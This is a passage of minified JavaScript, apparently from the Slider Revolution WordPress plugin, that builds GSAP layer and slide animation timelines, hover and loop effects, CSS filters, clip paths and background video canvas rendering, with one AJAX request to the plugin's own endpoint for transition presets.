0!==m.color&&m.color.use?I.color=window.RSColor.get(m.color.color):I.color=window.RSColor.get(a.idle.color[RVS.screen].v)),void 0!==S.bgcolor&&S.bgcolor.use)(w=window.RSColor.get(S.bgcolor.backgroundColor)).indexOf("gradient")>=0?b.background=w:b.backgroundColor=w;else(w=window.RSColor.get(a.idle.backgroundColor)).indexOf("gradient")>=0?b.background=w:b.backgroundColor=w;if(void 0!==m)if(void 0!==m.bgcolor&&m.bgcolor.use)(w=window.RSColor.get(m.bgcolor.backgroundColor)).indexOf("gradient")>=0?I.background=w:I.backgroundColor=w;else(w=window.RSColor.get(a.idle.backgroundColor)).indexOf("gradient")>=0?I.background=w:I.backgroundColor=w;var C=0;if(s)for(var k in d)if(d.hasOwnProperty(k)&&S[d[k]].use&&!t.quickRendering){var O=i.splitText[d[k]],T=y({frame:S,source:d[k],ease:x,layerid:t.layerid,splitAmount:O.length,target:l+"_"+d[k]}),j=l===o?y({frame:m,ease:T.ease,source:d[k],layerid:t.layerid,splitAmount:O.length,target:"frame_0_"+d[k]}):void 0;L=parseInt(S[d[k]].delay,0)/100,window.RSColor.get(a.idle.color[RVS.screen].v)===b.color&&"frame_1"===l||(T.color=b.color),void 0!==I&&window.RSColor.get(a.idle.color[RVS.screen].v)!==I.color&&(j.color=I.color),void 0!==j&&j.color!==b.color&&(T.color=b.color);var E=R(jQuery.extend(!0,{},T)),P=l===o?R(jQuery.extend(!0,{},j)):void 0,M=p(S[d[k]].direction);delete E.grayscale,delete E.brightness,void 0!==P&&(delete P.grayscale,delete P.brightness),E.stagger="center"===M||"edge"===M?u({each:L,offset:L/2,from:M}):{each:L,from:p(S[d[k]].direction)},E.duration=_,void 0!==P&&delete P.dir,l===o?f.timeline.add(v.fromTo(O,P,E),0):f.timeline.add(v.to(O,E),0),C=Math.max(C,O.length*L)}if(_+=C,r="local"===RVS.SLIDER.settings.general.perspectiveType?void 0!==I&&void 0!==I.transformPerspective?I.transformPerspective:void 0!==b.transformPerspective?b.transformPerspective:RVS.SLIDER.settings.general.perspective:RVS.SLIDER.settings.general.perspective,void 0!==F?(F.overflow="hidden",F.rotationX=a.idle.rotationX,F.rotationY=a.idle.rotationY,F.rotationZ=a.idle.rotationZ,F.opacity=a.idle.opacity,F.transformPerspective=r,l===o?(D.rotationX=a.idle.rotationX,D.rotationY=a.idle.rotationY,D.rotationZ=a.idle.rotationZ,D.opacity=a.idle.opacity,f.timeline.add(tpGS.gsap.fromTo([i.m,i.bgmask],_,D,F),0)):f.timeline.add(tpGS.gsap.to([i.m,i.bgmask],_,F),0),i.maskAnimFirst=!0):0===parseInt(a.idle.rotationX,0)&&0==parseInt(a.idle.rotationY,0)&&0==parseInt(a.idle.rotationZ,0)?((i.maskAnimFirst||null==i.maskAnimFirst)&&(i.m.style.transform="none",i.m.style.filter="none",i.m.style.overflow="visible",i.maskAnimFirst=!1),i.m.style.opacity=a.idle.opacity):(i.maskAnimFirst=!0,f.timeline.add(tpGS.gsap.to(i.m,.001,{transformPerspective:r,filter:"none",x:0,y:0,opacity:a.idle.opacity,rotationX:a.idle.rotationX,rotationY:a.idle.rotationY,rotationZ:a.idle.rotationZ,overflow:"visible"}),0)),b.force3D="auto",delete b.clipB,l===o?(delete I.clipB,delete I.transformPerspective,void 0!==i.bg&&f.timeline.fromTo(i.bg,_,I,b,0),void 0!==i.bg&&"column"===a.type?f.timeline.fromTo(g,_,c(I),c(b),0):f.timeline.fromTo(g,_,I,b,0)):(void 0!==i.bg&&f.timeline.to(i.bg,_,b,0),void 0!==i.bg&&"column"===a.type?f.timeline.to(g,_,c(b),0):f.timeline.to(g,_,b,0)),void 0!==x&&Array.isArray(x)&&x.indexOf("SFXBounce")>=0&&f.timeline.to(g,_,{scaleY:.5,scaleX:1.3,ease:b.ease+"-squash",transformOrigin:"bottom"},1e-4),"full"===t.timeline){var z=parseInt(S.timeline.start,0)/1e3;i.timeline.addLabel(l,z),i.timeline.add(f.timeline,z),i.timeline.addLabel(l+"_end","+=0.01"),a.timeline.frameToIdle===l&&i.timeline.addLabel("frame_IDLE")}else i.timeline.addLabel(l),i.timeline.add(f.timeline),l===t.frame?i.timeline.addPause(l+"_end+=0.5",function(e){this.play(e)},[t.frame]):(i.timeline.addLabel(l+"_end"),a.timeline.frameToIdle===l&&i.timeline.addLabel("frame_IDLE"),a.timeline.loop.use?(i.timeline.addPause(l+"_end+="+a.timeline.loop.speed/500,function(){this.play()}),"frame_999"==l&&i.timeline.addPause(l+"_end+=0.5",function(){this.play(0)})):i.timeline.addPause(l+"_end+=0.5",function(){this.play()}))}}if("true"!=a.hover.usehover&&1!=a.hover.usehover&&"desktop"!=a.hover.usehover||!i.htr)i.hoverlistener&&(i.hoverlistener=!1,i.w.off("hover"));else{void 0!==i.hover&&i.hover.kill(),i.hover=new tpGS.TimelineMax,i.hover.pause(),i.htr.ease=a.hover.ease;var A=parseInt(a.hover.speed,0)/1e3;A=0===A?1e-5:A,"column"!==a.type&&"row"!==a.type||i.hover.to(i.bg,A,jQuery.extend(!0,{},i.htr),0),"text"!==a.type&&"button"!==a.type||!a.timeline.split||void 0===i.splitText||i.hover.to([i.splitText.lines,i.splitText.words,i.splitText.chars],A,{color:i.htr.color,ease:i.htr.ease},0),"column"===a.type?i.hover.to(i.c,A,c(jQuery.extend(!0,{},i.htr)),0):i.hover.to(i.c,A,jQuery.extend(!0,{},i.htr),0),"svg"===a.type&&!0!==a.idle.svg.originalColor&&(i.hover.to(i.svg,A,{fill:window.RSColor.get(a.hover.svg.color),stroke:window.RSColor.get(a.hover.svg.strokeColor),"stroke-width":a.hover.svg.strokeWidth,"stroke-dasharray":RVS.F.getDashArray(a.hover.svg.strokeDashArray),"stroke-dashoffset":void 0===a.hover.svg.strokeDashOffset?0:a.hover.svg.strokeDashOffset},0),i.hover.to(i.svgPath,A,{fill:window.RSColor.get(a.hover.svg.color)},0)),i.hover.to([i.m,i.bgmask],A,{overflow:a.hover.usehovermask?"hidden":"visible"},0),i.hoverlistener||(i.hoverlistener=!0,i.w.on("mouseenter",function(){void 0!==this.dataset.uid&&1!=RVS.L[this.dataset.uid].hover.usehover&&"true"!=RVS.L[this.dataset.uid].hover.usehover||i.hover.play()}).on("mouseleave",function(){void 0!==this.dataset.uid&&1!=RVS.L[this.dataset.uid].hover.usehover&&"true"!=RVS.L[this.dataset.uid].hover.usehover&&RVS.H[this.dataset.uid].hover.time(0).pause(),"hover"===RVS.eMode.mode&&i.w.hasClass("selected")||i.hover.reverse()}),"hover"===RVS.eMode.mode&&jQuery.inArray(parseInt(a.uid,0),RVS.selLayers)>=0&&RVS.L[t.layerid].hover.usehove?i.hover.play():i.hover.time()>0&&i.hover.reverse())}if(!a.timeline.loop.use||e&&"animation"!==RVS.eMode.mode)(G=new tpGS.TimelineMax({})).set(i.lp,{"-webkit-filter":"none",filter:"none",x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:"50% 50%",opacity:1}),i.timeline.add(G,0);else{var H=a.timeline.loop.frame_0,B=a.timeline.loop.frame_999,Q=new tpGS.TimelineMax({}),G=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_move}),N=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_rotate}),W=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_scale}),X=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_filter}),Y=parseInt(a.timeline.loop.speed,0)/1e3,U=parseInt(a.timeline.loop.start)/1e3||0,q=U+.2,Z="blur(0px) grayscale(0%) brightness(100%)",K="blur("+parseInt(H.blur||0,0)+"px) grayscale("+parseInt(H.grayscale||0,0)+"%) brightness("+parseInt(H.brightness||100,0)+"%)",J="blur("+(B.blur||0)+"px) grayscale("+(B.grayscale||0)+"%) brightness("+(B.brightness||100)+"%)";if("blur(0px) grayscale(0%) brightness(100%)"===K&&"blur(0px) grayscale(0%) brightness(100%)"===J&&(K="none",J="none",Z="none"),Q.add(G,0),Q.add(N,0),Q.add(W,0),Q.add(X,0),a.timeline.loop.curved){var $=parseInt(a.timeline.loop.radiusAngle,0)||0,ee=[{x:parseInt(H.x,0)-parseInt(H.xr,0),y:0,z:parseInt(H.z,0)-parseInt(H.zr,0)},{x:0,y:parseInt(H.y,0)+parseInt(H.yr,0),z:0},{x:parseInt(B.x,0)+parseInt(B.xr,0),y:0,z:parseInt(B.z,0)+parseInt(B.zr,0)},{x:0,y:parseInt(B.y,0)-parseInt(B.yr,0),z:0}],te={type:"thru",curviness:a.timeline.loop.curviness,path:[],autoRotate:a.timeline.loop.autoRotate};for(var ie in ee)ee.hasOwnProperty(ie)&&(te.path[ie]=ee[$],$=++$==ee.length?0:$);i.timeline.fromTo(i.lp,.2,{"-webkit-filter":Z,filter:Z,x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:a.timeline.loop.originX+" "+a.timeline.loop.originY+" "+a.timeline.loop.originZ,opacity:1},{x:te.path[3].x,y:te.path[3].y,z:te.path[3].z,scaleX:H.scaleX,skewX:H.skewX,skewY:H.skewY,scaleY:H.scaleY,rotationX:H.rotationX,rotationY:H.rotationY,rotationZ:H.rotationZ,"-webkit-filter":K,filter:K,ease:"sine.out",opacity:H.opacity},U),G.to(i.lp,a.timeline.loop.yoyo_move?Y/2:Y,{motionPath:te,ease:a.timeline.loop.ease})}else i.timeline.fromTo(i.lp,.2,{"-webkit-filter":Z,filter:Z,x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:a.timeline.loop.originX+" "+a.timeline.loop.originY+" "+a.timeline.loop.originZ,opacity:1},RVS.F.checkLoopSkew({x:H.x,y:H.y,z:H.z,scaleX:H.scaleX,skewX:H.skewX,skewY:H.skewY,scaleY:H.scaleY,rotationX:H.rotationX,rotationY:H.rotationY,rotationZ:H.rotationZ,ease:"sine.out",opacity:H.opacity,"-webkit-filter":K,filter:K}),U),G.to(i.lp,a.timeline.loop.yoyo_move?Y/2:Y,{x:B.x,y:B.y,z:B.z,ease:a.timeline.loop.ease});N.to(i.lp,a.timeline.loop.yoyo_rotate?Y/2:Y,{rotationX:B.rotationX,rotationY:B.rotationY,rotationZ:B.rotationZ,ease:a.timeline.loop.ease}),W.to(i.lp,a.timeline.loop.yoyo_scale?Y/2:Y,RVS.F.checkLoopSkew({scaleX:B.scaleX,scaleY:B.scaleY,skewX:B.skewX,skewY:B.skewY,ease:a.timeline.loop.ease}));var ae={opacity:B.opacity,ease:a.timeline.loop.ease,"-webkit-filter":J,filter:J};X.to(i.lp,a.timeline.loop.yoyo_filter?Y/2:Y,ae),i.timeline.add(Q,q)}"atstart"!==t.mode&&("0"===RVS.S.keyFrame||"frame_0"===RVS.S.keyFrame?i.timeline.pause("frame_1"):"idle"===RVS.S.keyFrame?i.timeline.pause("frame_IDLE"):i.timeline.pause(RVS.S.keyFrame+"_end")),void 0!==t.time&&i.timeline.time(t.time),"loopsingleframe"===t.timeline?i.timeline.play(t.frame):"full"!==t.timeline&&i.timeline.eventCallback("onComplete",function(){this.restart()})}},RVS.F.checkLoopSkew=function(e){return void 0===e.skewX&&delete e.skewX,void 0===e.skewY&&delete e.skewY,e},RVS.F.buildFullLayerAnimation=function(e){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].uid&&RVS.F.renderLayerAnimation({layerid:t,timeline:"full",mode:e})},RVS.F.playLayerAnimation=function(e){void 0!==e.time?RVS.H[e.layerid].timeline.play(e.time):RVS.H[e.layerid].timeline.play(0),S.push(e.layerid)},RVS.F.stopLayerAnimation=function(e){void 0!==RVS.H[e.layerid]&&(RVS.H[e.layerid].timeline&&RVS.H[e.layerid].timeline.pause("frame_IDLE"),S=RVS.F.rArray(S,parseInt(e.layerid,0)))},RVS.F.stopAllLayerAnimation=function(){for(var e=S.length;S.length>0;)RVS.F.stopLayerAnimation({layerid:S[0]});e>0&&(RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"stopAllLayerAnimation"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}))},RVS.F.stopAndPauseAllLayerAnimation=function(){RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"}),RVS.F.stopAllLayerAnimation()},RVS.F.buildFilter=function(e){if(void 0===e)return"";var t="";return RVS.S.isChrome8889&&0===e.blur&&(e.blur=.05),t=void 0!==e.blur?"blur("+parseFloat(e.blur||0)+"px)":"",t+=void 0!==e.grayscale?(t.length>0?" ":"")+"grayscale("+parseInt(e.grayscale||0)+"%)":"",""===(t+=void 0!==e.brightness?(t.length>0?" ":"")+"brightness("+parseInt(e.brightness||100)+"%)":"")?"none":t},RVS.F.buildBackdropFilter=function(e){if(void 0===e)return"";var t="";return RVS.S.isChrome8889&&0===e.b_blur&&(e.b_blur=.05),t=void 0!==e.blur?"blur("+parseInt(e.blur||0)+"px)":"",t+=void 0!==e.grayscale?(t.length>0?" ":"")+"grayscale("+parseInt(e.grayscale||0)+"%)":"",t+=void 0!==e.sepia?(t.length>0?" ":"")+"sepia("+parseInt(e.sepia||0)+"%)":"",t+=void 0!==e.invert?(t.length>0?" ":"")+"invert("+parseInt(e.invert||0)+"%)":"",""===(t+=void 0!==e.brightness?(t.length>0?" ":"")+"brightness("+parseInt(e.brightness||100)+"%)":"")?"none":t},RVS.F.checkGlobalFiltersOnLayer=function(e){var t=!0===RVS.L[e].timeline.hoverFilterUsed;if(!0!==t)for(var i in RVS.L[e].timeline.frames){if(!0===t||!RVS.L[e].timeline.frames.hasOwnProperty(i))continue;t=RVS.L[e].timeline.frames[i].filter.use}return t},RVS.F.getClipPaths=function(e,t,i,a){var r;switch(e){case"none":r=t+"% 100%,"+t+"% 0%";break;case"top":r=i+"% 100%,"+t+"% 0%";break;case"middle":r=i+"% 100%,"+t+"% 50%,"+i+"% 0%";break;case"bottom":r=t+"% 100%,"+i+"% 0%";break;case"two":r=i+"% 100%,"+t+"% 75%,"+i+"% 50%,"+t+"% 25%,"+i+"% 0%";break;case"three":r=t+"% 100%,"+i+"% 75%,"+t+"% 50%,"+i+"% 25%,"+t+"% 0%";break;case"four":r=t+"% 100%,"+i+"% 87.5%,"+t+"% 75%,"+i+"% 62.5%,"+t+"% 50%,"+i+"% 37.5%,"+t+"% 25%,"+i+"% 12.5%,"+t+"% 0%";break;case"five":r=t+"% 100%,"+i+"% 90%,"+t+"% 80%,"+i+"% 70%,"+t+"% 60%,"+i+"% 50%,"+t+"% 40%,"+i+"% 30%,"+t+"% 20%,"+i+"% 10%,"+t+"% 0%"}if(a){var s=r.split(",");for(var i in r="",s)s.hasOwnProperty(i)&&(r+=s[s.length-1-i]+(i<s.length-1?",":""))}return r},RVS.F.toggleTimeLine=function(){RVS.TL.timelineStartedFromPlayStop?RVS.DOC.trigger("stopTimeLine"):RVS.DOC.trigger("playTimeLine")}}(),function(e){"use strict";window._R_is_Editor?RVS._R=void 0===RVS._R?{}:RVS._R:window._R_is_Editor=!1;jQuery.fn.revolution=jQuery.fn.revolution||{};var t=_R_is_Editor?RVS._R:jQuery.fn.revolution;_R_is_Editor&&(RVS._R.isNumeric=RVS.F.isNumeric),jQuery.extend(!0,t,{getSlideAnimationObj:function(e,i,a){var r,s={};for(var o in void 0===i.anim&&null==i.in&&(i.in="o:0"),i)if(i.hasOwnProperty(o)&&void 0!==i[o]){var n=i[o].split(";");for(var l in n)n.hasOwnProperty(l)&&void 0!==(r=n[l].split(":"))[0]&&void 0!==r[1]&&(s[o]=void 0===s[o]?{}:s[o],s[o][r[0]]="d3"===o&&"c"===r[0]?r[1]:r[1].split(",")[0])}return s.in=void 0===s.in?{}:s.in,s.anim=void 0===s.anim?{e:"basic"}:s.anim,_R_is_Editor||void 0===s.in||void 0===s.in.prst||t.loadSlideAnimLibrary(e,{key:a,prst:s.in.prst}),t[e].sbgs[a].slideanimationRebuild=!1,s},loadSlideAnimLibrary:function(e,i){void 0===t.SLTR&&!0!==t.SLTR_loading?(t.SLTR_loading=!0,jQuery.ajax({type:"post",url:t[e].ajaxUrl,dataType:"json",data:{action:"revslider_ajax_call_front",client_action:"get_transitions"},success:function(a,r,s){1==a.success&&(t.SLTR=a.transitions,void 0!==i&&t.setRandomDefaults(e,i.key,i.prst))},error:function(e){console.log("Transition Table can not be loaded"),console.log(e)}})):void 0!==i&&void 0!==t.SLTR&&t.setRandomDefaults(e,i.key,i.prst)},convertSlideAnimVals:function(e){return{anim:{eng:e.eng,ms:parseInt(e.speed,0),o:e.o,e:e.e,f:e.f,p:e.p,d:parseInt(e.d,0),adpr:e.adpr},d3:{f:e.d3.f,d:e.d3.d,z:e.d3.z,t:e.d3.t,c:e.d3.c,e:e.d3.e,fdi:e.d3.fdi,fdo:e.d3.fdo,fz:e.d3.fz,su:e.d3.su,smi:e.d3.smi,sma:e.d3.sma,sc:e.d3.sc,sl:e.d3.sl},in:{eng:e.in.eng,o:_R_is_Editor&&void 0!==e.preset&&0===e.preset.indexOf("rnd")?0:t.valBeau(e.in.o),x:t.valBeau(e.in.x),y:t.valBeau(e.in.y),r:t.valBeau(e.in.r),sx:t.valBeau(e.in.sx),sy:t.valBeau(e.in.sy),m:e.in.m,e:e.in.e,row:e.in.row,col:e.in.col,mo:"false"!==e.in.mou&&!1!==e.in.mou?t.valBeau(e.in.mo):0,moo:"false"!==e.in.mou&&!1!==e.in.mou?t.valBeau(e.in.moo):"none",mou:e.in.mou},out:void 0===e.out.a||"true"==e.out.a||!0===e.out.a?void 0:{a:l(e.out.a),o:t.valBeau(e.out.o),x:t.valBeau(e.out.x),y:t.valBeau(e.out.y),r:t.valBeau(e.out.r),sx:t.valBeau(e.out.sx),sy:t.valBeau(e.out.sy),m:e.out.m,e:e.out.e,row:t.valBeau(e.out.row),col:t.valBeau(e.out.col)},filter:{u:e.filter.u,e:e.filter.e,b:e.filter.b,g:e.filter.g,h:e.filter.h,s:e.filter.s,c:e.filter.c,i:e.filter.i},addOns:e.addOns}},setRandomDefaults:function(e,i,a){t[e].sbgs[i].random=t.getAnimObjectByKey(a,t.SLTR)},getSlideAnim_AddonDefaults:function(){var e={};for(var i in t.enabledSlideAnimAddons)e=jQuery.extend(!0,e,t[t.enabledSlideAnimAddons[i]].defaults());return e},getSlideAnim_EmptyObject:function(){return{speed:1e3,o:"inout",e:"basic",f:"start",p:"none",d:15,eng:"animateCore",adpr:!0,d3:{f:"none",d:"horizontal",z:300,t:0,c:"#ccc",e:"power2.inOut",fdi:1.5,fdo:2,fz:0,su:!1,smi:0,sma:.5,sc:"#000",sl:1},filter:{u:!1,e:"default",b:0,g:0,h:100,s:0,c:100,i:0},in:{o:1,x:0,y:0,r:0,sx:1,sy:1,m:!1,e:"power2.inOut",row:1,col:1,mo:80,mou:!1},out:{a:"true",o:1,x:0,y:0,r:0,sx:1,sy:1,m:!1,e:"power2.inOut",row:1,col:1},addOns:t.getSlideAnim_AddonDefaults()}},getAnimObjectByKey:function(e,i){if(t.getAnimObjectCacheKey===e)return t.getAnimObjectCache;var a;for(var r in t.getAnimObjectCacheKey=e,i)if(i.hasOwnProperty(r)&&void 0===a)for(var s in i[r])if(i[r].hasOwnProperty(s)&&void 0===a)if(e===s&&0===e.indexOf("rnd"))(a=i[r][s]).main=r,a.group=s;else for(var o in i[r][s])i[r][s].hasOwnProperty(o)&&void 0===a&&o===e&&((a=i[r][s][o]).main=r,a.group=s);return t.getAnimObjectCache=jQuery.extend(!0,{},a),a},getRandomSlideTrans:function(e,i,a){if(void 0!==t.randomSlideAnimCache&&void 0!==t.randomSlideAnimCache[e]&&void 0!==t.randomSlideAnimCache[e][i])return t.randomSlideAnimCache[e][i][Math.floor(Math.random()*t.randomSlideAnimCache[e][i].length)];for(var r in t.randomSlideAnimCache=void 0===t.randomSlideAnimCache?{}:t.randomSlideAnimCache,t.randomSlideAnimCache[e]=void 0===t.randomSlideAnimCache[e]?{}:t.randomSlideAnimCache[e],t.randomSlideAnimCache[e][i]=void 0===t.randomSlideAnimCache[e][i]?[]:t.randomSlideAnimCache[e][i],a)if(a.hasOwnProperty(r)&&"random"!==r&&"custom"!==r&&("all"==e||r==e))for(var s in a[r])if(a[r].hasOwnProperty(s)&&"icon"!==s&&(""+i=="undefined"||i.indexOf(s)>=0))for(var o in a[r][s])a[r][s].hasOwnProperty(o)&&-1==jQuery.inArray(a[r][s][o].title,["*north*","*south*","*east*","*west*"])&&t.randomSlideAnimCache[e][i].push(o);return t.randomSlideAnimCache[e][i][Math.floor(Math.random()*t.randomSlideAnimCache[e][i].length)]},cbgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].canv.width},cbgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?"v"==t[e].carousel.orientation&&"fullscreen"===t[e].sliderLayout?t[e].carousel.slide_height:!0===t[e].carousel.justify?t[e].carousel.slide_height:"fullscreen"===t[e].sliderLayout?t[e].module.height:Math.min(t[e].canv.height,t[e].gridheight[t[e].level]):void 0!==t[e].maxHeight&&t[e].maxHeight>0&&!t[e].fixedOnTop?Math.min(t[e].canv.height,t[e].maxHeight):t[e].canv.height},valBeau:function(e){return e=(""+(e=(""+(e=(""+(e=(""+(e=(""+e).split(",").join("|"))).replace("{","ran("))).replace("}",")"))).replace("[","cyc("))).replace("]",")")},animateSlide:function(e,t){return _R_is_Editor&&RVS.F.resetSlideTL(),void 0===tpGS.eases.late&&(tpGS.CustomEase.create("late","M0,0,C0,0,0.474,0.078,0.724,0.26,0.969,0.438,1,1,1,1"),tpGS.CustomEase.create("late2","M0,0 C0,0 0.738,-0.06 0.868,0.22 1,0.506 1,1 1,1 "),tpGS.CustomEase.create("late3","M0,0,C0,0,0.682,0.157,0.812,0.438,0.944,0.724,1,1,1,1")),s(e,t)},getBasic:function(e){return jQuery.extend(!0,{attr:null==e||void 0===e.attr?["o","r","sx","sy","x","y","m","e","row","col","mo","moo"]:e.attr,in:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3,mo:0,moo:"none"},out:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3}},e)},playBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(S(e,{},a,"in"),t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e,!0),tpGS.gsap.to(a.bgvid[0],.2,{zIndex:30,display:"block",autoAlpha:1,delay:.075,overwrite:"all"}))},stopBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(a.drawVideoCanvasImagesRecall=!1,t.stopVideo(a.bgvid,e),tpGS.gsap.to(a.bgvid[0],.2,{autoAlpha:0,zIndex:0,display:"none"}))},SATools:{getOffset:function(e,i,a,r){var s=(""+e).indexOf("%")>=0;return 0==(e=t.SATools.getSpecialValue(e,r,a))||void 0===e?0:s?i*(parseInt(e)/100):parseInt(e)},getSpecialValue:function(e,i,a,r){if(t.isNumeric(parseFloat(e,0)))return parseFloat(e,0);var s=(""+e).split("ran(").length>1?"random":(""+e).split("cyc(").length>1?"wrap":(""+e).split("(").length>1?"dir":"unknown",o=("random"===s?e.slice(4,-1):"wrap"===s?e.slice(4,-1):e.slice(1,-1)).split("|");if("random"===s)return tpGS.gsap.utils.random(parseFloat(o[0]),parseFloat(o.length>1?o[1]:0-o[0]));if("wrap"===s){var n=tpGS.gsap.utils.wrap(o,i);return(""+n).split("(").length>1?parseFloat(n.slice(1,-1))*a+(r?"%":""):n}return"dir"===s?parseFloat(o[0])*a+(r?"%":""):void 0}},getmDim:function(e,i,a){var r=t.cbgW(e,i),s=t.cbgH(e,i);return a.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR,t.maxDimCheck(a,r,s)},maxDimCheck:function(e,i,a){var r,s;void 0!==e.video&&("img"===e.video.tagName||null==e.video.videoWidth||e.video.videoWidth);if("animating"!==e.currentState&&null==e.panzoom||"animating"===e.currentState&&null==e.panzoom&&(null==e.slideanimation||null==e.slideanimation.anim||"true"!==e.slideanimation.anim.adpr))if(e.DPR>1&&t.ISM&&a>1024)e.DPR=1,r=i,s=a;else{var o={w:null==e.video||e.isVidImg?e.loadobj.width:0==e.video.videoWidth?e.loadobj.width:e.video.videoWidth,h:null==e.video||e.isVidImg?e.loadobj.height:0==e.video.videoHeight?e.loadobj.height:e.video.videoHeight};void 0===o.w&&(o.w=e.loadobj.width),void 0===o.h&&(o.h=e.loadobj.height);var n=a/o.w,l=i/o.h,d=Math.max(n,l);if(d>e.DPR||n>=1&&l>=1?e.DPR=1:e.DPR>d&&(e.DPR=Math.min(e.DPR,e.DPR/d)),r=i*e.DPR,s=a*e.DPR,e.DPR>1){var S=i/a;o.w>o.h&&o.w<r?(s=(r=Math.max(i,o.w))/S,e.DPR=1):o.h>o.w&&o.h<s&&(r=(s=Math.max(a,o.h))*S,e.DPR=1)}}else e.DPR=1,r=i,s=a;return{width:Math.round(r),height:Math.round(s),w:i,h:a}},updateSlideBGs:function(e,i,a,r){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}(r=void 0!==a.mDIM&&r)||(a.mDIM=t.getmDim(e,a.skeyindex,a)),void 0!==a.video?("IMG"!==a.video.tagName&&(a.isVidImg=""),a.cDIMS=t.getBGCanvasDetails(e,a),a.canvas.width=a.mDIM.width,a.canvas.height=a.mDIM.height,a.ctx.clearRect(0,0,a.mDIM.width,a.mDIM.height),a.ctx.drawImage(a.shadowCanvas,0,0)):(a.cDIMS=t.getBGCanvasDetails(e,a,r),a.canvas.width=a.mDIM.width,a.canvas.height=a.mDIM.height,"panzoom"===a.currentState||"animating"===a.currentState||void 0===a.currentState&&!_R_is_Editor&&"carousel"!=t[e].sliderType||(a.ctx.clearRect(0,0,a.mDIM.width,a.mDIM.height),0!==a.shadowCanvas.width&&0!==a.shadowCanvas.height&&a.ctx.drawImage(a.shadowCanvas,0,0))),"animating"===a.currentState&&"carousel"!==t[e].sliderType&&t.animatedCanvasUpdate(e,a)},addCanvas:function(){var e=document.createElement("canvas");return x=e.getContext("2d"),e.style.background="transparent",e.style.opacity=1,x},updateVideoFrames:function(e,i,a){if(i.now=Date.now(),i.then=void 0===i.then?i.now-500:i.then,i.elapsed=i.now-i.then,i.fps="animating"===i.currentState&&window._rs_firefox?50:33,i.elapsed>i.fps){i.then=i.now-i.elapsed%i.fps;var r="img"===i.video.tagName||null==i.video.videoWidth||0==i.video.videoWidth;void 0!==i.video&&!i.video.BGrendered&&void 0!==i.loadobj&&void 0!==i.loadobj.img||t.ISM&&t.isFirefox(e)?(i.mDIM=t.getmDim(e,i.skeyindex,i),i.pDIMS=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.loadobj.img,i.pDIMS.x,i.pDIMS.y,i.pDIMS.width,i.pDIMS.height)):((a||void 0===i.sDIMS||r!==i.isVidImg||0===i.sDIMS.width||0===i.sDIMS.height)&&(i.isVidImg=r,i.mDIM=t.getmDim(e,i.skeyindex,i),i.sDIMS=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.isVidImg?i.loadobj.width:i.video.videoWidth,conth:i.isVidImg?i.loadobj.height:i.video.videoHeight})),void 0!==i.sDIMS&&0!==i.sDIMS.width&&0!==i.sDIMS.height&&("animating"===i.currentState?(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)):void 0===i.animateDirection&&(i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),i.ctx.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)),i.shadowCanvas_Drawn=!0))}(a||i.drawVideoCanvasImagesRecall&&"animating"===i.currentState||"animating"===i.currentState&&void 